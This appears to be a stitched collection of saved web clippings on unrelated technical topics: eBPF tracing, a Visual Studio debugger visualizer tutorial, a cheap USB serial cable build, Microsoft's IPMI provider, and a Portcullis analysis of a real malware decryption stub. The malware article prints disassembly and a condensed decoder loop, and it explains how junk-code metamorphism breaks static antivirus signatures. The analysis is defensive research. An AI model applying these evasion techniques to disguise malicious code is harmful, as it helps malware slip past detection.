me put the pieces together a little better. \(i wrote this XDP & eBPF post
back in April when I was at netdev\)

some facts about eBPF:

  * eBPF programs have their own bytecode language, and are compiled from that bytecode language into native code in the kernel, just like BPF programs
  * eBPF programs run in the kernel
  * eBPF programs can’t access arbitrary kernel memory. Instead the kernel provides functions to get at some restricted subset of things.
  * they _can_ communicate with userspace programs through BPF maps
  * there’s a `bpf` syscall as of Linux 3.18

### kprobes & eBPF

You can pick a function \(any function\!\) in the Linux kernel and execute a
program that you write every time that function happens. This seems really
amazing and magical.

For example\! There’s this BPF program called disksnoop which tracks when you
start/finish writing a block to disk. Here’s a snippet from the code:

[code]

    BPF_HASH(start, struct request *);
    void trace_start(struct pt_regs *ctx, struct request *req) {
    	// stash start timestamp by request ptr
    	u64 ts = bpf_ktime_get_ns();
    	start.update(&req, &ts);
    }
    ...
    b.attach_kprobe(event="blk_start_request", fn_name="trace_start")
    b.attach_kprobe(event="blk_mq_start_request", fn_name="trace_start")
    
[/code]

This basically declares a BPF hash \(which the program uses to keep track of
when the request starts / finishes\), a function called `trace_start` which is
going to be compiled into BPF bytecode, and attaches `trace_start` to the
`blk_start_request` kernel function.

This is all using the `bcc` framework which lets you write Python-ish programs
that generate BPF code. You can find it \(it has tons of example programs\) at
https://github.com/iovisor/bcc

### uprobes & eBPF

So I sort of knew you could attach eBPF programs to kernel functions, but I
didn’t realize you could attach eBPF programs to userspace functions\! That’s
really exciting. Here’s an example of counting malloc calls in Python using an
eBPF program.

### things you can attach eBPF programs to

  * network cards, with XDP \(which I wrote about a while back\)
  * tc egress/ingress \(in the network stack\)
  * kprobes \(any kernel function\)
  * uprobes \(any userspace function apparently ?? like in any C program with symbols.\)
  * probes that were built for dtrace called “USDT probes” \(like these mysql probes\). Here’s an example program using dtrace probes
  * the JVM
  * tracepoints \(not sure what that is yet\)
  * seccomp / landlock security things
  * a bunch more things

### this talk was super cool

There are a bunch of great links in the slides and in LINKS.md in the iovisor
repository. It is late now but soon I want to actually write my first eBPF
program\!

Want a weekly digest of these blog posts?

»3 short screencasts \(/proc, tcpdump, strace\)

  

# Unleashing MAYHEM on Binary Code

**Created:**| _6/28/2013 9:25:38 PM_  
---|---  
**Updated:**| _6/28/2013 9:36:14 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification papers symbolic exec_  
  

  

  
<img src='img/oakland12-cha.pdf' />  
  
  
  

# How to Write a Visual Studio Visualizer | Keyvan Nayyeri
**Created:**| _11/10/2009 12:22:19 PM_  
---|---  
**Updated:**| _11/10/2009 12:22:57 PM_  
**Author:**| __  
**Tags:**| _Debugging visualization visualstudio_  
  

## How to Write a Visual Studio Visualizer

Published on November 1, 2006

You already know that visualizers are good tools to debug your code in Visual
Studio 2005. Each visualizer works for a specific type and lets you to monitor
some specific properties of an instance of classes in a visual manner.

Fortunately there are many built-in visualizers as well as visualizers that
are written by community for common types. One of cool and famous visualizers
is created by Roy Osherove for Regular Expressions and I had blogged about it
before.

But there are some cases when you need to write your own visualizer for your
own types. The process is simple and I talk about it in this post by walking
through a step by step guide to write a visualizer for Stream type to show the
text content of a Stream in a dialog box.

### Create a Project for Visualizer

In order to create a visualizer, you need to create a Class Library project
and add a Debugger Visualizer item to your project. Debugger Visualizer is an
item template which helps you to create a visualizer quicker and easier. When
you add a new Debugger Visualizer item to your project, it opens a file with
following code in place:

using System;

using System.Collections.Generic;

using System.Diagnostics;

using System.Windows.Forms;

using Microsoft.VisualStudio.DebuggerVisualizers;

namespace SampleVisualizer

\{

public class StreamVisualizer : DialogDebuggerVisualizer

\{

protected override void Show\(IDialogVisualizerServicewindowService,
IVisualizerObjectProvider objectProvider\)

\{

// TODO: Get the object to display a visualizer for.

// Cast the result of objectProvider.GetObject\(\)

// to the type of the object being visualized.

object data = \(object\)objectProvider.GetObject\(\);

// TODO: Display your view of the object.

// Replace displayForm with your own custom Form or Control.

using \(Form displayForm = new Form\(\)\)

\{

displayForm.Text = data.ToString\(\);

windowService.ShowDialog\(displayForm\);

\}

\}

// TODO: Add the following to your testing code to test the visualizer:

//

// StreamVisualizer.TestShowVisualizer\(new SomeType\(\)\);

//

/// <summary>

/// Tests the visualizer by hosting it outside of the debugger.

/// </summary>

/// <param name="objectToVisualize">The object to display in the
visualizer.</param>

public static void TestShowVisualizer\(object objectToVisualize\)

\{

VisualizerDevelopmentHost visualizerHost =
newVisualizerDevelopmentHost\(objectToVisualize, typeof\(StreamVisualizer\)\);

visualizerHost.ShowVisualizer\(\);

\}

\}

\}

As you see visualizers are derived from DialogDebuggerVisualizer which is
available in Microsoft.VisualStudio.DebuggerVisualizers.

There are two methods in this class:

  * Show: The main method to show visualizer to end user. This overridden method has two parameters which lets you to have access to your object's properties.
  * TestShowVisualizer: This static method is a help method to let you test your visualizer easily.

What you need to develop a visualizer is adding your own logic to Show\(\)
method.

### Write Your Logic for Visualizer

First step to write your logic is to replace general object type:

// TODO: Get the object to display a visualizer for.

// Cast the result of objectProvider.GetObject\(\)

// to the type of the object being visualized.

object data = \(object\)objectProvider.GetObject\(\);

with the type you want to monitor. For my example, I must replace it with
Stream:

Stream data = \(Stream\)objectProvider.GetObject\(\);

Second step is to add your logic to retrieve your desire properties from
object and show them in a dialog. I show string equivalent of my Stream in a
TextBox in a dialog.

using \(Form displayForm = new Form\(\)\)

\{

TextBox textbox = new TextBox\(\);

textbox.Width = 400;

textbox.Height = 300;

textbox.Multiline = true;

textbox.ScrollBars = ScrollBars.Both;

displayForm.Controls.Add\(textbox\);

StreamReader reader = new StreamReader\(data\);

textbox.Text = reader.ReadToEnd\(\);

displayForm.Width = 420;

displayForm.Height = 340;

displayForm.MaximizeBox = false;

displayForm.Text = data.ToString\(\) + " Visualizer";

windowService.ShowDialog\(displayForm\);

\}

### Test Your Visualizer

TestShowVisualizer static method is a handy method to help you test your
visualizer. You can simply call this static method by passing an instance of
your object to test your visualizer.

I create a Console Application and a simple text file to test my visualizer.
Following simple code is all of what I do to test my visualizer in this
Console Application. Don't forget that you must have a reference to
Microsoft.VisualStudio.DebuggerVisualizers in order to be able to test your
visualizer.

static void Main\(string\[\] args\)

\{

Stream stream = new MemoryStream

\(File.ReadAllBytes\(@"C:\Documents and Settings\Keyvan
Nayyeri\Desktop\MyFile.txt"\)\);

SampleVisualizer.StreamVisualizer.TestShowVisualizer\(stream\);

\}

Once I run this code, can see the content of my text file in a TextBox in a
dialog:

### Deploy Your Visualizer

Deploying a visualizer is a simple process but there is just an important
point: before compiling your Class Library project into an assembly, you must
add an  _assembly_ attribute to your visualizer code in order to enable this
visualizer and map it to a specified type. Below is the code to do this for my
visualizer:

using System;

using System.Collections.Generic;

using System.Diagnostics;

using System.Windows.Forms;

using Microsoft.VisualStudio.DebuggerVisualizers;

using System.IO;

\[assembly:DebuggerVisualizer\(typeof\(SampleVisualizer.StreamVisualizer\),

Target = typeof\(Stream\),

Description = "Stream Visualizer"\)\]

namespace SampleVisualizer

\{

public class StreamVisualizer : DialogDebuggerVisualizer

So this is the final code for my visualizer:

using System;

using System.Collections.Generic;

using System.Diagnostics;

using System.Windows.Forms;

using Microsoft.VisualStudio.DebuggerVisualizers;

using System.IO;

\[assembly:DebuggerVisualizer\(typeof\(SampleVisualizer.StreamVisualizer\),

Target = typeof\(Stream\),

Description = "Stream Visualizer"\)\]

namespace SampleVisualizer

\{

public class StreamVisualizer : DialogDebuggerVisualizer

\{

protected override void Show\(IDialogVisualizerServicewindowService,

IVisualizerObjectProvider objectProvider\)

\{

Stream data = \(Stream\)objectProvider.GetObject\(\);

using \(Form displayForm = new Form\(\)\)

\{

TextBox textbox = new TextBox\(\);

textbox.Width = 400;

textbox.Height = 300;

textbox.Multiline = true;

textbox.ScrollBars = ScrollBars.Both;

displayForm.Controls.Add\(textbox\);

StreamReader reader = new StreamReader\(data\);

textbox.Text = reader.ReadToEnd\(\);

displayForm.Width = 420;

displayForm.Height = 340;

displayForm.MaximizeBox = false;

displayForm.Text = data.ToString\(\) + " Visualizer";

windowService.ShowDialog\(displayForm\);

\}

\}

public static void TestShowVisualizer\(object objectToVisualize\)

\{

VisualizerDevelopmentHost visualizerHost =

new VisualizerDevelopmentHost\(objectToVisualize,typeof\(StreamVisualizer\)\);

visualizerHost.ShowVisualizer\(\);

\}

\}

\}

After adding this attribute, you can compile your visualizer into an assembly
and add it to your Visual Studio by copying the DLL file to $\My
Documents\Visual Studio 2005\Visualizers \(to enable it only for your user\)
or to $\Microsoft Visual Studio 8\Common7\Packages\Debugger\Visualizers \(to
enable it for all users on a machine\). After restarting your Visual Studio,
you'll be able to use this visualizer to debug your code.

Now I remove the call to TestShowVisualizer from my Console Application code
and instead, add a new line of code and finally put a Breakpoint on this newly
added line:

static void Main\(string\[\] args\)

\{

Stream stream = new MemoryStream

\(File.ReadAllBytes\(@"C:\Documents and Settings\Keyvan
Nayyeri\Desktop\MyFile.txt"\)\);

stream.Flush\(\);

stream.Close\(\);

//SampleVisualizer.StreamVisualizer.TestShowVisualizer\(stream\);

\}

<img src='img/Temp2_4089.jpg' width='420' height='76' alt='Stream Visualizer'
/>

Now if I run my code and move my mouse over the name of  _stream_ variable,
can see my visualizer.

<img src='img/Temp2_4091.jpg' width='420' height='77' alt='Stream Visualizer'
/>

<img src='img/Temp2_4090.jpg' width='420' height='186' alt='Stream Visualizer'
/>

**  
**

# Vikram and Neha: Cost effective \(cheap\!\) USB Serial cable for any project

**Created:**| _9/18/2011 8:03:00 AM_  
---|---  
**Updated:**| _9/18/2011 8:03:00 AM_  
**Author:**| __  
**Tags:**| _hardware_  
  

### Cost effective \(cheap\!\) USB Serial cable for any project

If you've been playing with microcontrollers, or hacking any sort of hardware,
you know that it is great to be able to communicate with a computer. A usb
cable is often the best option, since usb serial drivers are ubiquitous and
easy to work with. However, cheap usb cables are difficult to come by. On this
page, you will find instructions to build a very low cost USB serial cable,
which can also supply +5V to a board. This is ideal for breadboard arduinos,
but will also work great for any microcontroller or TTL circuit.  
  
All instructions here are provided solely as a guide. If you miswire the
cable, you might end up burning your computer, your electronic gadgets, or
your house. I do not take personal responsibility for your actions.  
  

## Cost, parts, and capability

You need a Nokia CA-42 cable, a soldering iron and some method of determining
continuity. A multimeter would be handy, but is not required. Assuming you
have the tools, the CA-42 cable sells for $3 including free shipping from many
sellers on eBay and Amazon. Since the cost of the cable is so low, online
fraud is unlikely. The total cost of the project is $3, and you don't need any
extra parts.  
The final cable works on Linux, without requiring any extra drivers. Most
cheap CA-42 cables are made using a PL-2303 chip, which is a cheap RS232
convertor. For data transmission, you only get two lines: RX and TX, but this
is usually sufficient. You get +3V and +5V, which are very well regulated and
clean sources of power. These could be directly attached to microcontroller
boards. I have seen drivers for PL-2303 on Windows and Mac, and you should
search for these over the Internet. You might need to mask the device ID,
since the cable might announce itself as a Nokia phone cable. You don't need
any drivers if you only want to use the cable as a power source.  
  

## Make it

The construction is trivial. This is what the cable looks like \(image
courtesy Timothy Small\):  

<img src='img/Temp2_8889.jpg' />

  

The pinout, from left to right is:  

  1. This is body of the cable, and is not connected 
  2. The missing pin, no connection 
  3. No connection 
  4. +3.3V, might be as low as +3V 
  5. No connection 
  6. RX 
  7. TX 
  8. GND 

It might help to view the pin out diagram \(hosted at nas-central.org\).  
  
To create the cable, cut the head near the top of the cable, as shown. When
you cut the cable, try to match the color of the wire with the pinout given
above. I've found the following colors, though you should check your own
cable:  

  * Black: Ground 
  * Red: 3V 
  * White: RX data 
  * Blue: TX data 
  * Green: no connection 

Now, the cable has five wires: two are used for data \(TX, RX\), two are for
power \(+3.3, GND\). There is an extra wire in there, which is useless for our
purposes. So we repurpose this wire to carry the +5V connection from the USB
port. In my cables, this wire has always been green, though you should check
which wire, if any, is unused in your cable. The head of the cable comes off
quite easily if you hold it and twist the metal USB connector as though it
were a key. Connect the far right metal lead from the USB connector to the
green wire. The green wire should be disconnected from the body, but the +5V
connect should _not_ be disconnected from the body: the PL-2303 requires +5V
power to work.  

<img src='img/Temp2_8888.jpg' />

  
Here is the final soldered assembly. In this image, the usb connector is the
correct side up. For your reference, here is pin-out for the USB A connector.
The soldering is done to the +5V wire.  
  

<img src='img/Temp2_8887.jpg' width='320' height='240' />

###

### Uses

The +5V and ground can be used to power an arduino or most Atmel Atmega AVR
microprocessors. The TX wire \(colored blue in my cable\) goes into the TXD
pin of microcontrollers \(Arduino: digital 1\), and the RX wire \(colored
white in my cable\) goes into the RXD pin of microcontrollers \(Arduino:
digital 0\). I've tested the power using an oscilloscope: the power in my
cables is very clean. This means that you can avoid using a 7805 and other
circuitry that would provide a clean +5V signal.

# Breaking Static Detection - Portcullis

**Created:**| _9/26/2013 10:10:24 AM_  
---|---  
**Updated:**| _9/26/2013 10:10:24 AM_  
**Author:**| __  
**Tags:**| _Detection analysis Malware-analysis static_  
  

# **B** reaking Static Detection****

Published September 25, 2013

## Introduction****

With hundreds of thousands of malware samples floating around the internet, AV
companies have to struggle everyday in order to keep their detection
signatures updated**.** These malware samples are not necessarily all
functionally different to each other, but most of them try to appear different
in an attempt to bypass AV products**.**

In reality, the concept of **polymorphism** is still much more popular than
**metamorphism****.** The reason for this is, that polymorphism as we know it
today, through malware samples is far easier to achieve**.**

While metamorphism requires re-implementing parts of the code, while keeping
the same functionality, polymorphism is generally applied by keeping the code
intact but encrypting it each time with a different method or via the use of
different encryption keys**.** Metamorphism also commonly uses the insertion
of junk code that can be changed quickly, making it effective at defeating
static detection, though the insertion of junk code**.** This could also be
considered as ‘cheap metamorphism’ since no real re-implementation of the code
was done, but the code does appear different**.**

Consider these two concepts as follows: polymorphism is mainly applied to the
code itself, while metamorphism is usually applied to the code decryption
routine which always operates as the first layer of execution**.**

Both techniques will cause the generation of a different executable which
implies that the file hash calculated for it will be different**.**
Furthermore, even hashes of byte streams for individual sections of the
executable itself might be also affected**.**

During this article we will show a piece of code from real malware, analyse
how metamorphism using junk code is undertaken, discuss why its use can often
be considered as more practical than re-implementing the code or changing it’s
logic, and show how it is extremely efficient when combined with polymorphic
malware**.**

## A necessary evil****

As mentioned, AV companies have to keep up with a lot of new malware samples
coming out every day**.** This requires automation. It really does make
automation a necessary evil**.** This in itself, whilst good for business,
does lead to blind trust in antivirus programs.

Furthermore, even when automation is not used, speed is of the essence in both
the updating of signatures and functionally surrounding the detection
engine**.**

Malware analysts in AV companies are literally bombarded by client requests to
quickly analyse malware and push out new detection signatures**.** There is
simply no time to lose. So, in order for the analyst to catch up with this
process, his first choice will be to create a static signature based on the
hash of either the entire file or for a portion of it**.**

This is used as hash based detection signatures are efficient, fast, and
highly unlikely to trigger any false positives**.**

This whole process can be summarised by the famous quote “So few are the easy
victories as the ultimate failures**.** ” \(Marcel Proust\)

## Analysing metamorphic code****

Going through metamorphic code in order to understand which are the ‘reserved’
pieces of code used for breaking signature based detection is not a trivial
task, and often requires extra time, but it really is worth it**.**

The main reason is that when we finally exclude the code used to obfuscate the
useful instructions, we can establish which parts of the code are likely to
change in a future sample and which parts of the code are likely to remain the
same**.**

**Note:** We will be marking in **red** the **junk** code dedicated to
achieving metamorphism**.** We will also mark with **green** the **real
effective instructions** of the decryption stub**.** The code we are analysing
is the decryption stub from real malware which is responsible for the
polymorphic effect of the viral code**.**

**Let’s take a look at the following chunk:**

[code]

    0040CC90    0FB7C1             MOVZX   EAX, CX
    0040CC93    3D 5CB13083        CMP     EAX, 8330B15C
    0040CC98    0FA5FF             SHLD    EDI, EDI, CL
    0040CC9B    C70424 00000000    MOV     DWORD PTR SS:[ESP], 0
    0040CCA2    810424 28BC0000    ADD     DWORD PTR SS:[ESP], 0BC28  ← set the counter
    0040CCA9    0FAFD7             IMUL    EDX, EDI
    0040CCAC    E8 09000000        CALL    0040CCBA
    0040CCB1    61                 POPAD
    0040CCB2    8D1D 314F6B01      LEA     EBX, DWORD PTR DS:[16B4F31]
    0040CCB8    89ED               MOV     EBP, EBP
    0040CCBA    55                 PUSH    EBP
    0040CCBB    8BEC               MOV     EBP, ESP
    0040CCBD    51                 PUSH    ECX
    0040CCBE    58                 POP     EAX
    0040CCBF    FFF1               PUSH    ECX
    0040CCC1    59                 POP     ECX
    0040CCC2    33F1               XOR     ESI, ECX
    0040CCC4    5D                 POP     EBP
    0040CCC5    58                 POP     EAX
    0040CCC6    56                 PUSH    ESI
    0040CCC7    5E                 POP     ESI
    0040CCC8    57                 PUSH    EDI
    0040CCC9    33D7               XOR     EDX, EDI
    0040CCCB    52                 PUSH    EDX
    0040CCCC    5F                 POP     EDI
    0040CCCD    89DD               MOV     EBP, EBX
    0040CCCF    5A                 POP     EDX
    0040CCD0    50                 PUSH    EAX
    0040CCD1    5F                 POP     EDI
    0040CCD2    51                 PUSH    ECX
    0040CCD3    5E                 POP     ESI
    0040CCD4    BB 0001A041        MOV     EBX, 41A00100
    0040CCD9    C1CB 72            ROR     EBX, 72
    
[/code]

We can see a lot of code with only four effective instructions, their only
purpose is to set up the loop counter and make EBX point to the entry point of
the real code at address **0×00401068** which is the VA of the real entry
point**.**

## Let’s continue**** …

[code]

    0040CCDC    F6D4               NOT     AH
    0040CCDE    86C2               XCHG    DL, AL
    0040CCE0    8D35 829BEB32      LEA     ESI, DWORD PTR DS:[32EB9B82]
    0040CCE6    8AE9               MOV     CH, CL
    0040CCE8    F7C7 812DF168      TEST    EDI, 68F12D81
    0040CCEE    0FBEC9             MOVSX   ECX, CL
    0040CCF1    F6D9               NEG     CL
    0040CCF3    69C2 C922C039      IMUL    EAX, EDX, 39C022C9
    0040CCF9    C003 B4            ROL     BYTE PTR DS:[EBX], 0B4
    0040CCFC    81D7 116F4A02      ADC     EDI, 24A6F11
    0040CD02    0FBBC0             BTC     EAX, EAX
    0040CD05    FFF2               PUSH    EDX
    0040CD07    57                 PUSH    EDI
    0040CD08    56                 PUSH    ESI
    0040CD09    55                 PUSH    EBP
    0040CD0A    5E                 POP     ESI
    0040CD0B    5F                 POP     EDI
    0040CD0C    33D4               XOR     EDX, ESP
    0040CD0E    46                 INC     ESI
    0040CD0F    5D                 POP     EBP
    0040CD10    5E                 POP     ESI
    0040CD11    8D2D BEB17602      LEA     EBP, DWORD PTR DS:[276B1BE]
    0040CD17    56                 PUSH    ESI
    0040CD18    3BE5               CMP     ESP, EBP
    0040CD1A    45                 INC     EBP
    0040CD1B    5E                 POP     ESI
    0040CD1C    41                 INC     ECX
    0040CD1D    8033 3F            XOR     BYTE PTR DS:[EBX], 3F
    0040CD20    0FCF               BSWAP   EDI
    0040CD22    0FBAF8 A2          BTC     EAX, 0A2
    0040CD26    0FA4C7 E5          SHLD    EDI, EAX, 0E5
    0040CD2A    19D2               SBB     EDX, EDX
    0040CD2C    0FAFFB             IMUL    EDI, EBX
    0040CD2F    8AC7               MOV     AL, BH
    0040CD31    35 8C7F9BE9        XOR     EAX, E99B7F8C
    0040CD36    88E1               MOV     CL, AH
    0040CD38    0FA4D9 10          SHLD    ECX, EBX, 10
    0040CD3C    8033 B7            XOR     BYTE PTR DS:[EBX], 0B7
    
[/code]

In the code above we can see a lot of junk instructions that can be modified
to break static detection signatures and only three effective instructions
dedicated to the decryption of the viral code**.**

## More meta**** …

[code]

    0040CD3F    FFF5               PUSH    EBP
    0040CD41    56                 PUSH    ESI
    0040CD42    55                 PUSH    EBP
    0040CD43    47                 INC     EDI
    0040CD44    59                 POP     ECX
    0040CD45    42                 INC     EDX
    0040CD46    F8                 CLC
    0040CD47    5E                 POP     ESI
    0040CD48    58                 POP     EAX
    0040CD49    8D3D C36F1B00      LEA     EDI, DWORD PTR DS:[1B6FC3]
    0040CD4F    56                 PUSH    ESI
    0040CD50    3BC0               CMP     EAX, EAX
    0040CD52    5A                 POP     EDX
    0040CD53    8D35 F5A52602      LEA     ESI, DWORD PTR DS:[226A5F5]
    0040CD59    8D0D C8F63800      LEA     ECX, DWORD PTR DS:[38F6C8]
    0040CD5F    8D15 52E55000      LEA     EDX, DWORD PTR DS:[50E552]
    0040CD65    8BE8               MOV     EBP, EAX
    0040CD67    8003 98            ADD     BYTE PTR DS:[EBX], 98
    0040CD6A    8D05 2D26B201      LEA     EAX, DWORD PTR DS:[1B2262D]
    0040CD70    8D05 D0FD7900      LEA     EAX, DWORD PTR DS:[79FDD0]
    0040CD76    8D15 5B59CF01      LEA     EDX, DWORD PTR DS:[1CF595B]
    0040CD7C    BE 1DB22901        MOV     ESI, 129B21D
    0040CD81    6A E0              PUSH    -20
    0040CD83    47                 INC     EDI
    0040CD84    5D                 POP     EBP
    0040CD85    33CC               XOR     ECX, ESP
    0040CD87    F9                 STC
    0040CD88    C003 02            ROL     BYTE PTR DS:[EBX], 2
    
[/code]

Notice how much space is reserved for future code modification, this allows
for easy modification to the executable**.**

## Going further**** …

[code]

    0040CD8B    48                 DEC     EAX
    0040CD8C    0FA4F8 C9          SHLD    EAX, EDI, 0C9
    0040CD90    19C2               SBB     EDX, EAX
    0040CD92    D2E6               SHL     DH, CL
    0040CD94    0FC1D7             XADD    EDI, EDX
    0040CD97    0FADF7             SHRD    EDI, ESI, CL
    0040CD9A    8D3D 39273EB6      LEA     EDI, DWORD PTR DS:[B63E2739]
    0040CDA0    8033 31            XOR     BYTE PTR DS:[EBX], 31
    0040CDA3    52                 PUSH    EDX
    0040CDA4    58                 POP     EAX
    0040CDA5    51                 PUSH    ECX
    0040CDA6    50                 PUSH    EAX
    0040CDA7    F7D6               NOT     ESI
    0040CDA9    5F                 POP     EDI
    0040CDAA    5D                 POP     EBP
    0040CDAB    FFF6               PUSH    ESI
    0040CDAD    0F49F1             CMOVNS  ESI, ECX
    0040CDB0    89EE               MOV     ESI, EBP
    0040CDB2    F8                 CLC
    0040CDB3    47                 INC     EDI
    0040CDB4    59                 POP     ECX
    0040CDB5    51                 PUSH    ECX
    0040CDB6    50                 PUSH    EAX
    0040CDB7    84C2               TEST    DL, AL
    0040CDB9    59                 POP     ECX
    0040CDBA    58                 POP     EAX
    0040CDBB    0FB6CE             MOVZX   ECX, DH
    0040CDBE    56                 PUSH    ESI
    0040CDBF    5D                 POP     EBP
    0040CDC0    52                 PUSH    EDX
    0040CDC1    5F                 POP     EDI
    0040CDC2    57                 PUSH    EDI
    0040CDC3    46                 INC     ESI
    0040CDC4    5D                 POP     EBP
    0040CDC5    0FAFCE             IMUL    ECX, ESI
    0040CDC8    55                 PUSH    EBP
    0040CDC9    41                 INC     ECX
    0040CDCA    5E                 POP     ESI
    0040CDCB    42                 INC     EDX
    0040CDCC    C003 C7            ROL     BYTE PTR DS:[EBX], 0C7
    
[/code]

More junk code, but only two effective instructions involved in the decryption
routine**.**

## The last part**** …

[code]

    0040CDCF    F7C5 A22F73DC      TEST    EBP, DC732FA2
    0040CDD5    C1E7 76            SHL     EDI, 76
    0040CDD8    15 47BA711D        ADC     EAX, 1D71BA47
    0040CDDD    D2CC               ROR     AH, CL
    0040CDDF    84D7               TEST    BH, DL
    0040CDE1    8AE9               MOV     CH, CL
    0040CDE3    8D5B 01            LEA     EBX, DWORD PTR DS:[EBX+1]  ← increase pointer
    0040CDE6    51                 PUSH    ECX
    0040CDE7    66:B9 CE27         MOV     CX, 27CE
    0040CDEB    41                 INC     ECX
    0040CDEC    5D                 POP     EBP
    0040CDED    68 B4345F02        PUSH    25F34B4
    0040CDF2    0F4AC6             CMOVPE  EAX, ESI
    0040CDF5    58                 POP     EAX
    0040CDF6    FFF6               PUSH    ESI
    0040CDF8    FFF7               PUSH    EDI
    0040CDFA    F5                 CMC
    0040CDFB    5F                 POP     EDI
    0040CDFC    8BF5               MOV     ESI, EBP
    0040CDFE    F7D7               NOT     EDI
    0040CE00    5A                 POP     EDX
    0040CE01    68 9FA07100        PUSH    71A09F
    0040CE06    0F40EF             CMOVO   EBP, EDI
    0040CE09    59                 POP     ECX
    0040CE0A    40                 INC     EAX
    0040CE0B    FF0C24             DEC     DWORD PTR SS:[ESP] ← decrease counter
    0040CE0E    0F85 C8FEFFFF      JNZ     0040CCDC ← loop up
    0040CE14    0FC1F3             XADD    EBX, ESI
    0040CE17    01C2               ADD     EDX, EAX
    0040CE19    C6C4 B0            MOV     AH, 0B0
    0040CE1C    8BF7               MOV     ESI, EDI
    0040CE1E    0FBBF6             BTC     ESI, ESI
    0040CE21    0FC8               BSWAP   EAX
    0040CE23    88FA               MOV     DL, BH
    0040CE25    0FAFFB             IMUL    EDI, EBX
    0040CE28    2BDB               SUB     EBX, EBX
    0040CE2A    0F84 3842FFFF      JE      00401068 ← jump to decrypted code
    0040CE30    70 15              JO      SHORT 0040CE47
    0040CE32    55                 PUSH    EBP
    0040CE33    3C FC              CMP     AL, 0FC
    0040CE35    5A                 POP     EDX
    0040CE36    68 511F4601        PUSH    1461F51
    0040CE3B    C1CA 89            ROR     EDX, 89
    0040CE3E    58                 POP     EAX
    0040CE3F    C1DA 5E            RCR     EDX, 5E
    0040CE42    0F48D4             CMOVS   EDX, ESP
    0040CE45    F9                 STC
    0040CE46    F9                 STC
    0040CE47    52                 PUSH    EDX
    0040CE48    5B                 POP     EBX
    
[/code]

## Summary****

The code we just examined leaves a lot of space for junk code modification
which breaks any static signature based on it**.**

Among all these instructions only a few were real instructions, which need to
stay the same if we wanted to keep the same encryption/decryption routine**.**

[code]

    MOV     DWORD PTR SS:[ESP], 0
    ADD     DWORD PTR SS:[ESP], 0BC28  
    MOV     EBX, 41A00100
    ROR     EBX, 72
    
    _Loop:
    	    ROL     BYTE PTR DS:[EBX], 0B4
                XOR     BYTE PTR DS:[EBX], 3F
    	    XOR     BYTE PTR DS:[EBX], 0B7
    	    ADD     BYTE PTR DS:[EBX], 98
    	    ROL     BYTE PTR DS:[EBX], 2
    	    XOR     BYTE PTR DS:[EBX], 31
                ROL     BYTE PTR DS:[EBX], 0C7
    	    LEA     EBX, DWORD PTR DS:[EBX+1]  
    	    DEC     DWORD PTR SS:[ESP] 
    	    JNZ     _Loop
    	    SUB     EBX, EBX
    	    JE      00401068
    
[/code]

In short, in a piece of code totalling 441 bytes in length, only 63 bytes
correspond to effective instructions, which means that almost 86% of the space
occupied for the code we analysed is dedicated to the metamorphic engine**.**

## Conclusion****

Through this article we have tried to demonstrate a practical example of
metamorphic decryption stubs, achieved through junk code insertion**.** As
shown, by inserting a lot of junk instructions among the useful ones, it is
possible to reserve a lot of space for future modifications that would break
static signatures that include those portions of code as a matching
pattern**.** It also highlights why malware authors usually prefer this
technique to bypass AVs while still using the same viral code**.**

**Written by:** Kyriakos Economou of Portcullis**.**

##### Any questions/feedback**?**

If you have any further question/feedback regarding this article, please do
get in touch**\!** We would like to hear your thoughts.  
You may contact us at: labs@portcullis-security.com**.**

Posted in Articles

****

# IPMI Provider \(Windows\)

**Created:**| _7/30/2013 10:37:15 AM_  
---|---  
**Updated:**| _7/30/2013 10:37:15 AM_  
**Author:**| __  
**Tags:**| _vulnerability LOLZ windows environment_  
  

# **I** PMI Provider****

The Microsoft Intelligent Platform Management Interface \(IPMI\) driver and
WMI IPMI provider supply data from Baseboard Management Controller \(BMC\)
operations to the operating system**.**

**Windows Server 2003 R2:** Windows Remote Management is not installed by
default, but is available as the Hardware Management feature through the
**Add/Remove System Components** feature in the **Control Panel** under
Management and Monitoring Tools**.**

### Microsoft IPMI Implementation****

The IPMI provider is a standard WMI provider that supplies classes, methods,
and properties that represent BMC configuration and sensor data**.** The IPMI
provider obtains BMC data through the IPMI driver**.** For more information
about the role of WMI providers, see WMI Architecture **.**

The IPMI provider and driver enable you to perform the following operations
remotely**.** These operations do not depend on the computer CPU, system BIOS,
or the operating system:

  * Inventory
One server can survey all the computers on a network, even if the operating
system is not running or deployed**.**

  * Monitoring
BMC sensor data or events from remote computers can be monitored either
through the operating system \(_in-band_\) or by obtaining data directly from
the BMC \(_out-of-band_\)**.**

  * Logging
The IPMI provider gives you access to the events recorded in the BMC _System
Event Log_ \(SEL\)**.** Each event corresponds to a **LogRecord** instance in
the IPMI provider classes**.** You can view these events through the Event
Collector tool, Wecutil.cmd**.** SEL events appear in the Hardware Events log
in the Windows Event log**.** You can write custom events, such as bug check
data and shutdown information, to the SEL**.**

To request BMC data using the WS-Management protocol, write Windows Remote
Management \(WinRM\)  scripts using WinRM Scripting API **.**

### IPMI Provider****

The Microsoft IPMI provider implements a subset of the standard IPMI CIM
Mapping Specification**.**

The IPMI provider has several WMI classes that enable administrators to access
BMC information through the IPMI Driver**.**

The following list contains the IPMI classes:

Because the IPMI provider is a WMI provider, you can obtain BMC data over a
normal WMI DCOM connection either locally or remotely**.** However, when
connecting through WMI, you cannot obtain data directly from the BMC
hardware**.** WinRM enables you to access data directly from a BMC that
implements the WS-Management protocol protocol, even if the associated
computer operating system is unavailable or is not running on a Windows
operating system**.**

<img src='img/Temp2_4251.png' alt='Obtaining BMC data over a normal WMI DCOM
connection' />

Connections to remote computers through WMI use DCOM, which allocates ports
dynamically**.** The Windows Firewall, if enabled, requires an appropriate
configuration at startup to enable WMI DCOM connections**.** WinRM, which
assigns one port, is more firewall-friendly**.** For more information about
WMI remote connections, see Connecting to WMI on a Remote Computer **.**

For more information about IPMI classes, see Intelligent Platform Management
Interface \(IPMI\) Classes **.**

###  IPMI Driver****

The IPMI driver is a WDM kernel mode driver that communicates with the BMC
using KCS \(_Keyboard Controller Style_\)**.** For more information about
driver installation, see Installation and Configuration for Windows Remote
Management **.** It appears in the Device Manager as Microsoft SMBIOS Generic
IPMI Compliant Device**.**

### Related topics****

Windows Remote Management \(WinRM\)

Send comments about this topic to Microsoft

Build date: 6/18/2013

****

# Penetration testing- Frameworks > Available for free > Metasploit Tutorials

**Created:**| _5/26/2009 3:53:15 PM_  
---|---  
**Updated:**| _5/26/2009 3:53:26 PM_  
**Author:**| __  
**Tags:**| _pentest Metasploit Tutorials_  
  

